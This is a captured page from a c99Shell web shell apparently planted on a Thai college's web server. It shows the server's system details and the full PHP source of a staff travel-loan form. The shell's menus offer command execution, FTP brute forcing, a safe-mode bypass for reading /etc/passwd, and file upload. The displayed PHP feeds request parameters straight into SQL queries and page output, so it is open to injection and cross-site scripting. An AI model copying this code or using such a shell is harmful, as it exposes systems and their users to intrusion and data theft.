!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/directorBCNU/   drwxr-xr-x
Free 52.6 GB of 127.8 GB (41.15%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddFormContract.php (18.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

	session_start();
	
	/**  Define Validate Access  */
	define( '_VALID_ACCESS', 1 );

	/**  Check Session User Login  */
	if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
		echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
		echo "<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
		echo "<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
		exit();
	} 
	else {
		/**  Configuration  */
		require_once( "../configuration.php" );
		require_once( $_Config_absolute_path . "/includes/framework.php" );
		require_once( "../include/Function.php" );
	    require_once( "../include/FunctionDB.php" );
		require_once("../link/function.php");
		/**  Create Database Object  */
		$dbObj = new DBConn;

		//=== SESSION
		$Username = $valid_user; 
		
		if(isset($_REQUEST["maNo"])) $maNo = iconv("UTF-8", "WINDOWS-874",trim($_REQUEST["maNo"]));
		
		/**  Personal Data **/
		$query = "SELECT * FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId LEFT JOIN faculty_tb ON personal_tb.Faculty_code = faculty_tb.Faculty_code WHERE Teacher_code = '".$_REQUEST["Teacher_code"]."'";
		$result = $dbObj->execQuery($query);
		$rs1 = $dbObj->fetchArray($result);	
		
		if(isset($_REQUEST["maNo"])){
			/**  Training Data **/
			//$query = "SELECT * FROM training_tb LEFT JOIN formaoffice ON training_tb.Training_code = formaoffice.Training_code AND training_tb.Teacher_code = formaoffice.Teacher_code LEFT JOIN project_tb ON training_tb.Training_code = project_tb.Training_code AND training_tb.Teacher_code = project_tb.Teacher_code WHERE training_tb.maNo = '".$maNo."' LIMIT 1";
			$query = "SELECT * FROM training_tb LEFT JOIN formaoffice ON training_tb.Training_code = formaoffice.Training_code WHERE training_tb.maNo = '".$maNo."' LIMIT 1";
			$result = $dbObj->execQuery($query);
			$rs2 = $dbObj->fetchArray($result);

		}

		/**  Personal Data(Faculty Head) **/
		$query = "SELECT * FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId LEFT JOIN position_tb ON personal_tb.PositionId = position_tb.PositionId LEFT JOIN faculty_tb ON personal_tb.Faculty_code = faculty_tb.Faculty_code WHERE personal_tb.Faculty_code = '".$rs1["Faculty_code"]."' AND TeacherId = '1'";
		$result = $dbObj->execQuery($query);
		$rs3 = $dbObj->fetchArray($result);		
		
		/** College Data **/
		$sql = "Select * From  college Where collegeStatus ='1'";
		$result = mysql_query($sql) or die("Error".mysql_error());
		$rs4 = mysql_fetch_array($result);
		$collegeName = $rs4["collegeName"];
		
	} # else
 ?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<script type="text/javascript" src="../js/ajaxScript.js"></script>
<script type="text/javascript" src="../js/calendarDateInput2.js"></script>
<title>ข้อมูลทั่วไปบุคลากร - เพิ่มข้อมูลการเดินทางไปราชการ</title>
</head>

<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
	include("../templates/incHeader.php");
?>
<table width="1003" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="203" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php include("./_incMainMenu.php");?></td>
    <td width="800" height="440" align="left" valign="top" style="padding:10px 0px 5px 10px"><fieldset><legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php">หน้าหลัก</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font><a href="FormContractList.php?Teacher_code=<?=$_REQUEST["Teacher_code"];?>">ข้อมูลบันทึกการยืมเงินไปราชการ</a></font><img src="../picture/ico3.gif" width="10" height="10" align="absmiddle" border="0" /></font></font><strong><span class="NOTE">บันทึกข้อมูลการยืมเงินไปราชการ</span></strong></legend>
	
	 <form id="form1" name="form1" method="post" action="InsertFormContract.php">
     <table width="780" border="0" cellspacing="0" cellpadding="0">
      
      <tr>
        <td height="5"></td>
      </tr>
      
      <tr>
        <td><hr /></td>
      </tr>
      <tr>
        <td align="center">
        <?php

		?>
        <table width="750" cellpadding="0" cellspacing="0" border="0">
          <tr height="31">
            <td height="31" colspan="6" align="center" class="PATRON11">บันทึกข้อความ</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6">&nbsp;</td>
          </tr>
          <tr>
            <td height="29" colspan="5" align="right" nowrap>วันที่&nbsp;&nbsp;</td>
            <td height="29" align="center"><script>DateInput('Date', true,'DD/MM/YYYY','<?=(isset($rs2["Date"]))?ymdT2dmyE($rs2["Date"]):date("d/m/Y");?>');</script></td>
          </tr>
          <tr>
            <td height="29" colspan="5" align="left" nowrap>ส่วนราชการ
              <?=$collegeName;?></td>
            <td height="29" align="center"></td>
          </tr>
          <tr>
            <td height="29" colspan="2" align="left" nowrap>
				ที่
				<!--<INPUT TYPE="checkbox" ID="addJoinFormA" NAME="addJoinFormA" onclick="(this.checked)?document.getElementById('maNo').readOnly=false:document.getElementById('maNo').readOnly=true; (this.checked)?document.getElementById('searchJoinFormA').style.display='':document.getElementById('searchJoinFormA').style.display='none';">
				<input name="maNo" type="text" id="maNo" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=(isset($_REQUEST["maNo"]))?$maNo:genDocNo();?>" onblur="this.readOnly=true;" size="15" readonly/>
				<img SRC="../picture/search_ico.gif" ID="searchJoinFormA" width="15" height="15" style="display:none;cursor:pointer;" onclick="document.getElementById('addJoinFormA').checked=false; location.href='AddFormContract.php?Teacher_code=<?=$_REQUEST["Teacher_code"];?>&Budget_year=<?=$_REQUEST["Budget_year"];?>&maNo='+encodeURIComponent(document.getElementById('maNo').value);" title="คลิ๊กที่นี่เพื่อค้นหาข้อมูลการเดินทางไปราชการ">-->
				<input name="maNo" type="text" id="maNo" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=(isset($_REQUEST["maNo"]))?$maNo:$docNo."...";?>" size="20" readonly/>
				<img SRC="../picture/search_ico.gif" ID="searchJoinFormA" width="15" height="15" style="cursor:pointer" onclick="MM_openBrWindow('SearchTrainingCon.php?Teacher_code=<?=$_REQUEST["Teacher_code"];?>&Budget_year=<?=$_REQUEST["Budget_year"];?>','Detail','scrollbars=yes,width=820,height=480');" title="คลิ๊กที่นี่เพื่อค้นหาข้อมูลการเดินทางไปราชการ">			</td>
            <td width="146" height="29" align="left">
				<input name="Flag" type="hidden" id="Flag" value="<?=$rs2["Flag"]?>"/>			</td>
            <td height="29" align="left">&nbsp;</td>
            <td height="29" align="right">&nbsp;</td>
			<td height="29" width="131" align="center">			</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">
				เรื่อง&nbsp;&nbsp;ขออนุมัติยืมเงินไปราชการ
				<input name="Detail" type="hidden" id="Detail" value="1"/>            </td>
            <td width="14">&nbsp;</td>
            <td width="274">&nbsp;</td>
            <td width="131">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="5" align="left">เรียน&nbsp;&nbsp;ผู้อำนวยการ&nbsp;<?=$collegeName;?></td>
            <td>&nbsp;</td>
          </tr>
          <tr height="29">
            <td width="150" height="25">&nbsp;</td>
            <td colspan="5" align="left" nowrap>
				ข้าพเจ้า<input name="Name" type="text" id="Name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed ; text-align:center" size="30"  value="<?=$rs1["prefixName"]." ".$rs1["Teacher_name"]." ".$rs1["Teacher_lastname"];?>" readonly/>
				ตำแหน่ง<input name="Name2" type="text" id="Name2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="30"  value="<?=$rs1["Position_name"];?>" readonly/>			</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left" nowrap>
				สังกัด<input name="Name3" type="text" id="Name3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="20"  value="<?=$rs1["Faculty_name"];?>" readonly/>
				<input name="Name4" type="text" id="Name4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" size="65" value="<?=$collegeName;?>" readonly/>สถาบันพระบรมราชชนก			</td>
          </tr>		  
          <tr height="29">
            <td height="29" colspan="6" align="left" nowrap>พร้อมด้วย 
              <input name="WithMon" type="text" id="WithMon" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<?=$rs2["WithMon"];?>" size="75" />
              ได้รับอนุมัติให้เข้าร่วมประชุม</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left" nowrap>
              เรื่อง *
              <input name="Training_name" type="text" id="Training_name" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" value="<?=(isset($rs2["Training_name"]))?$rs2["Training_name"]:"";?>" size="80" readonly="readonly" <?=(isset($rs2["Training_name"]))?"readonly":"";?>/>
              จังหวัด 
              <select name="provinceId" id="provinceId" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" <?=(isset($rs2["provinceId"]))?"disabled":"";?>>
                <?php
						$query = " SELECT * FROM province";
						$result = mysql_query($query);
						while($rs4 = mysql_fetch_array($result)){
					?>
                <option value="<?=$rs4['provinceId'];?>" <?=($rs4['provinceId']==$rs2['provinceId'] )?"selected":"";?>>
                  <?=$rs4['provinceName'];?>
                  </option>
                <?php
						 } # while
					?>
                </select></td>
          </tr>
          <tr height="29">
            <td height="29" colspan="6" align="left">				
              <table width="723">
                <tr>
                  <td width="66">ระหว่างวันที่</td>
                  <td width="226" align="left">
                    <script>DateInput('dateStart', true,'DD/MM/YYYY','<?=(isset($rs2["Date_start"]))?ymdT2dmyE($rs2["Date_start"]):date("d/m/Y");?>');</script>                    </td>
                  <td width="69" align="right">ถึงวันที่</td>
                  <td width="191" align="left">
                    <script>DateInput('dateFinish', true,'DD/MM/YYYY','<?=(isset($rs2["Date_finish"]))?ymdT2dmyE($rs2["Date_finish"]):date("d/m/Y");?>');</script>                    </td>
                  <td width="147">
                    มีกำหนด
                    <input name="Day" type="text" id="Day" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" value="<?=$rs2['Day'];?>" size="2" maxlength="3" <?=(isset($rs2['Day']))?"readonly":"";?>/>
                    วัน                    </td>
                </tr>
                </table></td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6"> เพื่อให้การเดินทางไปราชการครั้งนี้ สำเร็จตามวัตถุประสงค์  ข้าพเจ้าจึงขออนุมัติยืมเงินจาก &nbsp;&nbsp;
<label><select name="MoneyS_C" id="MoneyS_C"  style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" > 
                <?php
						$query = " SELECT * FROM money_source_tb ";
						$result5 = mysql_query($query);
						while($rs5 = mysql_fetch_array($result5)){
					?>
                <option value="<?=$rs5['MoneyS_C'];?>" <?=($rs5['MoneyS_C']==$rs2['MoneyS_C'] )?"selected":"";?>>
                  <?=$rs5['MoneyS_M'];?>
                  </option>
                <?php
						 } # while
					?>
              </select>
</label></td>
          </tr>
          <tr height="31">
            <td height="31" colspan="6" nowrap>จำนวนเงิน
<input name="Budget" type="text" id="Budget" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" value="<?=$rs2["Budget"];?>" size="20" />
  บาท จำนวนเงินตัวอักษร
  (
  <input name="#" type="text" id="#" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed; text-align:center" value="<? echo convertNumberToString($rs2['Budget']).'ถ้วน';?>" size="40" />
  )</td>
          </tr>
		  <tr height="31">
		    <td height="31" colspan="3" align="left">เพื่อเป็นค่าใช้จ่ายในการเดินทางไปราชการในครั้งนี้</td>
		    <td colspan="2">&nbsp;</td>
		    <td>&nbsp;</td>
		    </tr>
		  <tr height="31">
		    <td height="31" colspan="5" align="left">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;จึงเรียนมาเพื่อทราบและโปรดพิจารณาอนุมัติ</td>
		    <td>&nbsp;</td>
		    </tr>
		  <tr height="31">
		    <td height="31" colspan="3" align="left">&nbsp;</td>
		    <td colspan="2">&nbsp;</td>
		    <td>&nbsp;</td>
		    </tr>
          <tr height="31">
            <td height="31" colspan="3" align="left">&nbsp;</td>
            <td colspan="2" align="center">ลงชื่อ .......................................ผู้ยืมเงิน</td>
            <td>&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3">&nbsp;</td>
            <td colspan="2" align="center">
				( <?=$rs1["prefixName"]." ".$rs1["Teacher_name"]." ".$rs1["Teacher_lastname"];?> )              
				<input name="Faculty_code" type="hidden" id="Faculty_code" value="<? echo $rs1["Faculty_code"]?>"/>			</td>
            <td>&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="left">&nbsp;</td>
            <td colspan="2" align="center">
				ตำแหน่ง<input name="Name5" type="text" id="Name5" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: none; text-align:center" size="25"  value="<?=$rs1["Position_name"];?>"/>            </td>
            <td>&nbsp;</td>
          </tr>
          <tr height="29">
			<td colspan="5"><!--<div align="right">*
				<select name="Teacher_code" id="Teacher_code" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" >
					<?php                       
						$query = " SELECT * FROM personal_tb LEFT JOIN prefix ON personal_tb.prefixId = prefix.prefixId Where StatusId = '1' Or Teacher_name= 'พขร' Order By Teacher_name ASC";
						$result = mysql_query($query);
						while($rs4 = mysql_fetch_array($result)){
					?>
							<option value="<?=$rs4['Teacher_code'];?>" <?=($rs4['Teacher_code']==$rs1['Teacher_code'])?"selected":"";?>>
							<?=$rs4['prefixName']." ".$rs4['Teacher_name']." ".$rs4['Teacher_lastname'];?>
							</option>
					<?php
						} # while
					?>
				</select></div>-->			  </td>
            </tr>
          <tr height="29">
            <td height="29" colspan="3" align="center">ลงชื่อ..................................หัวหน้าภาค/ฝ่าย</td>
            <td colspan="3" align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="center">
				( <?=$rs3['prefixName']." ".$rs3['Teacher_name']." ".$rs3['Teacher_lastname'];?> )
				<input name="TeacherId" type="hidden" id="TeacherId" value="<?=$rs3["TeacherId"]?>"/>			</td>
            <td align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="3" align="center">
				ตำแหน่ง<input name="Name6" type="text" id="Name6" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: none; text-align:center" size="25"  value="<?=$rs3["Position_name"];?>"/>			</td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="28" colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="left">&nbsp;</td>
          </tr>
          <tr height="29">
            <td height="28" colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="center">ลงชื่อ.............................................</td>
          </tr>
          <tr height="29">
            <td height="29" colspan="2" align="left">&nbsp;</td>
            <td align="left">&nbsp;</td>
            <td colspan="2" align="center"> วันที่........เดือน.............พ.ศ........</td>
          </tr>
        </table>		</td>
      </tr>
      <tr>
        <td height="16" align="center">&nbsp;</td>
      </tr>
      <tr>
        <td height="16" align="center">&nbsp;          </td>
      </tr>
      <tr>
        <td align="center">
			<input type="hidden" name="codeId" value="<?=$_REQUEST["codeId"];?>"/>
			<input type="hidden" name="Teacher_code" value="<?=$_REQUEST["Teacher_code"];?>"/>
			<input type="hidden" name="Training_code" value="<?=$_REQUEST["Training_code"];?>"/>
			<span id="submitBtn">
				<input type="submit" name="Submit" value="บันทึก" style="cursor:pointer" class="WIDTH60 CURSOR-HAND" />
			</span>
			&nbsp;
			<input type="reset" name="Reset" value="รีเซ็ต" style="cursor:pointer" class="WIDTH60 CURSOR-HAND"/>
			&nbsp;
			<input type="button" name="Button" value="ยกเลิก" style="cursor:pointer" class="WIDTH60 CURSOR-HAND" onclick="location.href='AddFormContract.php?Teacher_code=<?=$_REQUEST["Teacher_code"];?>'"/>		</td>
      </tr>	  
    </table>
	</form>
   </fieldset>
   </td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
	/**  Free Resource */
	$dbObj->freeresult($result);
	
	/**  Close the Database  */
	$dbObj->disconn();
	
	/**  Unset Class  */
	unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0061 ]--